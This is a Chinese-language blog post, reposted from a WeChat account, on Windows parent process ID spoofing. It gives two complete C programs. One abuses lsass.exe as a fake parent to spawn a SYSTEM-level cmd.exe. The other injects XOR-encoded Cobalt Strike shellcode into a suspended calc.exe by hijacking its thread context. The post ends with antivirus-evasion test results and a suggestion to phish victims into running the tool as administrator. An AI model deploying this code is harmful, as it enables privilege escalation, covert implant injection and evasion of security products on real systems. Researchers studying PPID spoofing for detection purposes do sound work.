父进程欺骗(PPID Spoof)

admin 2022年4月27日16:46:12评论6 views字数 9822阅读32分44秒阅读模式

前言

本篇的父进程欺骗网上也有大量的文章了,这里作为学习进行了复现。顺便测试下免杀效果,首先的话讲一下原理:我们都知道CreateProcess这个api使用来创建进程的,有趣的是这个api可以指定创建新的进程的父进程,所以也就有了父进程欺骗,在某种程度上也可以绕过防护产品的检测。

正题

利用流程
  1. 获取指定进程句柄(OpenProcess)

  2. 初始化STARTUPINFOEXA并为其属性成员lpAttributeList赋值(InitializeProcThreadAttributeList)

  3. 更新进程启动属性(UpdateProcThreadAttribute)

  4. 创建进程(CreateProcess)

形容方式也许不是很恰当,有兴趣了解的可以网上多看两篇文章。

STARTUPINFOEXA

指定新进程的窗口站、桌面、标准句柄和属性。它与 CreateProcessCreateProcessAsUser函数一起使用。

CreateProcess方式的父进程欺骗就是通过这个结构体指定 指定的进程pid作为父进程。

typedef struct _STARTUPINFOEXA {
   STARTUPINFOA StartupInfo;
   LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

成员
   StartupInfo  一个STARTUPINFO结构。
   lpAttributeList  一个属性列表。此列表由InitializeProcThreadAttributeList函数创建。
GetProcessHeap

GetProcessHeap 函数获取调用进程堆的句柄。然后可以在对 HeapAlloc、HeapReAlloc、HeapFree 和 HeapSize 函数的后续调用中使用此句柄。

HANDLE GetProcessHeap(VOID);
InitializeProcThreadAttributeList

为进程和线程创建初始化指定的属性列表。

官方文档: https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist

BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in]            DWORD                        dwAttributeCount,
                 DWORD                        dwFlags,
[in, out]       PSIZE_T                      lpSize
);

参数
   lpAttributeList  属性列表。此参数可以为 NULL 以确定支持指定数量的属性所需的缓冲区大小。
   dwAttributeCount  要添加到列表中的属性计数。
   dwFlags  该参数是保留的,必须为零。
   lpSize  如果lpAttributeList不为 NULL,则此参数指定输入时lpAttributeList缓冲区的大小(以字节为单位)。在输出时,此参数接收初始化属性列表的大小(以字节为单位)。
   如果lpAttributeList为 NULL,则此参数接收所需的缓冲区大小(以字节为单位)。

返回值
   如果函数成功,则返回值非零。
   如果函数失败,则返回值为零。要获取扩展的错误信息,请调用 GetLastError。
UpdateProcThreadAttribute

更新进程和线程创建的属性列表中的指定属性。

官方文档: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute

BOOL UpdateProcThreadAttribute(
[in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in]            DWORD                        dwFlags,
[in]            DWORD_PTR                    Attribute,
[in]            PVOID                        lpValue,
[in]            SIZE_T                       cbSize,
[out, optional] PVOID                        lpPreviousValue,
[in, optional]  PSIZE_T                      lpReturnSize
);

参数
   lpAttributeList  指向由InitializeProcThreadAttributeList函数创建的属性列表的指针。
   dwFlags  该参数是保留的,必须为零。
   Attribute  属性列表中要更新的属性键。此参数可以是以下值之一。
   lpValue  指向属性值的指针。该值应该一直存在,直到使用DeleteProcThreadAttributeList函数销毁该属性。
cbSize  lpValue参数指定的属性值的大小。
   lpPreviousValue  此参数为保留参数,必须为 NULL。
lpReturnSize  此参数为保留参数,必须为 NULL。

返回值
   如果函数成功,则返回值非零。
   如果函数失败,则返回值为零。要获取扩展的错误信息,请调用 GetLastError。
Attribute

属性设置为下面这个参数,我们可以把当前进程的父进程更新为指定的进程。

父进程欺骗(PPID Spoof)

父进程欺骗(PPID Spoof)

此处EXTENDED_STARTUPINFO_PRESENT指的是要在CreateProcess中的dwCreationFlag参数中指定。

父进程欺骗(PPID Spoof)

进程创建相关标志位官方文档:https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags

父进程欺骗 administrator到system

想要拿到system权限的前提是我们有管理员权限,所以这里我们会用管理员权限运行,并通过获取lsass.exe程序的句柄获取system权限,然后再创建进程继承system权限。

头文件

有些并没有用到,我这里直接复制了,为了以后方便我都把要用的慢慢集成到这里面,自己看是否要全复制。

#pragma once
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "DbgHelp.lib")

typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef BOOL(WINAPI* WRITEPROCESSMEMORY)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
typedef HANDLE(WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE hHandle, DWORD dwMilliseconds);
typedef LPVOID(WINAPI* VIRTUALALLOCEX)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
代码
#include "precompile.h"

BOOL EnablePrivileges() {
BOOL result = FALSE;
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPriv = { 0 };
// 打开进程获取token
result = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (result == FALSE) {
printf("打开进程失败!t错误值: %dn", GetLastError());
return FALSE;
}
// 寻找系统中指定权限的luid值
result = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
if (result == FALSE) {
printf("寻找权限失败!t错误值: %dn", GetLastError());
return GetLastError();
}
// 要修改的权限的个数
tokenPriv.PrivilegeCount = 1;
// LUID值
tokenPriv.Privileges->Luid = luidValue;
// 设置是否允许
tokenPriv.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
// 修改权限
result = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, 0, NULL, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("权限提权成功!t权限值: %hsn", SE_DEBUG_NAME);
return TRUE;
}
else {
printf("权限提权失败!t错误值: %dn", GetLastError());
}
return FALSE;
}

INT FoundPid(PCHAR pszName) {
// 设置变量
PROCESSENTRY32 pe = {0};
HANDLE hSnapShot = NULL;
int pid = 0;
// 初始化大小
pe.dwSize = sizeof(PROCESSENTRY32);
// 创建进程快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot != INVALID_HANDLE_VALUE) {
// 获取快照
BOOL Process = Process32First(hSnapShot, &pe);
if (!Process) {
return -1;
}
// 遍历快照
while (Process32Next(hSnapShot, &pe)) {
// 判断进程名是否相同
if (!_stricmp(pszName,(PCHAR)pe.szExeFile)) {
pid = pe.th32ProcessID;
printf("[+] 找到指定进程pid: %dn", pe.th32ProcessID);
break;
}
}
CloseHandle(hSnapShot);
return pid;
}
else {
printf("[-] 进程快照创建失败!t错误值: %dn", GetLastError());
return -1;
}
}

VOID ppidSpoof(INT pid) {
// 定义变量
HANDLE hProcess = NULL;
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T size = 0;
// 打开指定进程获取句柄
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL) {
printf("[-] 打开进程失败!t 错误值: %dn", GetLastError());
}
// 初始化ProcThreadAttributeLists
InitializeProcThreadAttributeList(NULL,1,0,&size);
// 给lpAttributeList赋初值
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0,size);
// 初始化lpAttributeList
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// 更新lpAttributeList属性
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);
// 给启动信息设置大小,创建进程必须做的一步,跟之前的写法一样的
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 创建进程
CreateProcessA("C:\Windows\system32\cmd.exe", NULL, NULL, NULL, TRUE,  EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE , NULL, NULL, (LPSTARTUPINFOA)(&si), &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hProcess);
}

INT main() {
// 进程提权, 详情上一篇文章
EnablePrivileges();
// 找指定进程pid
char name[] = "lsass.exe";
int pid = FoundPid(name);
// 父进程欺骗s
ppidSpoof(pid);
return 0;
}

父进程欺骗(PPID Spoof)

父进程欺骗(PPID Spoof)

父进程欺骗(PPID Spoof)

反弹CS ShellCode

这里只需要替换自己想要注入的进程名(进程欺骗的父进程)和自己准备的shellcode即可。东西在之前的文章都有介绍,就不多解释了。

#include "precompile.h"


BOOL EnablePrivileges() {
BOOL result = FALSE;
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPriv = { 0 };
// 打开进程获取token
result = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (result == FALSE) {
printf("打开进程失败!t错误值: %dn", GetLastError());
return FALSE;
}
// 寻找系统中指定权限的luid值
result = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
if (result == FALSE) {
printf("寻找权限失败!t错误值: %dn", GetLastError());
return GetLastError();
}
// 要修改的权限的个数
tokenPriv.PrivilegeCount = 1;
// LUID值
tokenPriv.Privileges->Luid = luidValue;
// 设置是否允许
tokenPriv.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
// 修改权限
result = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, 0, NULL, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("权限提权成功!t权限值: %hsn", SE_DEBUG_NAME);
return TRUE;
}
else {
printf("权限提权失败!t错误值: %dn", GetLastError());
}
return FALSE;
}

INT FoundPid(PCHAR pszName) {
// 设置变量
PROCESSENTRY32 pe = {0};
HANDLE hSnapShot = NULL;
int pid = 0;
// 初始化大小
pe.dwSize = sizeof(PROCESSENTRY32);
// 创建进程快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot != INVALID_HANDLE_VALUE) {
// 获取快照
BOOL Process = Process32First(hSnapShot, &pe);
if (!Process) {
return -1;
}
// 遍历快照
while (Process32Next(hSnapShot, &pe)) {
// 判断进程名是否相同
if (!_stricmp(pszName,(PCHAR)pe.szExeFile)) {
pid = pe.th32ProcessID;
printf("[+] 找到指定进程pid: %dn", pe.th32ProcessID);
break;
}
}
CloseHandle(hSnapShot);
return pid;
}
else {
printf("[-] 进程快照创建失败!t错误值: %dn", GetLastError());
return -1;
}
}

VOID ppidSpoof(INT pid) {
// 定义变量
HANDLE hProcess = NULL;
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T size = 0;
CONTEXT threadContext = { 0 };
// 异或后的SHellC0De
unsigned char buf[] = "";
   // 还原shellcode
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 50;
}
VIRTUALALLOCEX pVirtuAllocEx = (VIRTUALALLOCEX)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAllocEx");
WRITEPROCESSMEMORY pWriteProcessMemory = (WRITEPROCESSMEMORY)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "WriteProcessMemory");
WAITFORSINGLEOBJECT pWaitForSingleObject = (WAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "WaitForSingleObject");
// 打开指定进程获取句柄
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL) {
printf("[-] 打开进程失败!t 错误值: %dn", GetLastError());
}
// 初始化ProcThreadAttributeList
InitializeProcThreadAttributeList(NULL,1,0,&size);
// 给lpAttributeList赋初值
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0,size);
// 初始化lpAttributeList
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// 更新lpAttributeList属性
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);
// 给启动信息设置大小,创建进程必须做的一步,跟之前的写法一样的
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 创建进程
if (CreateProcessA("C:\Windows\system32\calc.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi)) {
printf("[+] 创建进程成功!n");
LPVOID lpMem = pVirtuAllocEx(pi.hProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
printf("[-] 内存申请失败!t错误值: %dn", GetLastError());
}
pWriteProcessMemory(pi.hProcess, lpMem, buf, sizeof(buf), NULL);
// 获取线程上下文类型
threadContext.ContextFlags = CONTEXT_ALL;
// 获取线程的上下文
GetThreadContext(pi.hThread, &threadContext);
// 修改rip位置为申请的虚拟内存
threadContext.Rip = (DWORD64)lpMem;
// 设置线程的上下文
SetThreadContext(pi.hThread, &threadContext);
// 恢复线程
ResumeThread(pi.hThread);
printf("[+] shellcode注入成功!n");
pWaitForSingleObject(pi.hThread, INFINITE);
}
else {
printf("[-] 创建进程失败!t错误值: %d", GetLastError());
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hProcess);
}

INT main() {
// 进程提权, 详情上一篇文章
EnablePrivileges();
// 找指定进程pid
char name[] = "lsass.exe";
int pid = FoundPid(name);
// 父进程欺骗
ppidSpoof(pid);
return 0;
}

父进程欺骗(PPID Spoof)

杀软测试结果

火绒无反应(有点拉跨就不放截图了),360执行警告没有报毒,defender无反应

父进程欺骗(PPID Spoof)

父进程欺骗(PPID Spoof)

这里继续尝试过360....经过尝试发现,是因为提权到system过于敏感,换个进程名字就不再查杀了。

父进程欺骗(PPID Spoof)

那这里想要提权的话,可以尝试钓鱼的方式让别人以管理员运行,或者用其他方式进行提权。

父进程欺骗(PPID Spoof)

父进程欺骗(PPID Spoof)

此处360核晶没测,朋友放虚拟机跑的,可以自己测测杀不杀。

星球二维码            

父进程欺骗(PPID Spoof)

原文始发于微信公众号(是恒恒呐):父进程欺骗(PPID Spoof)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日16:46:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   父进程欺骗(PPID Spoof)https://cn-sec.com/archives/951613.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息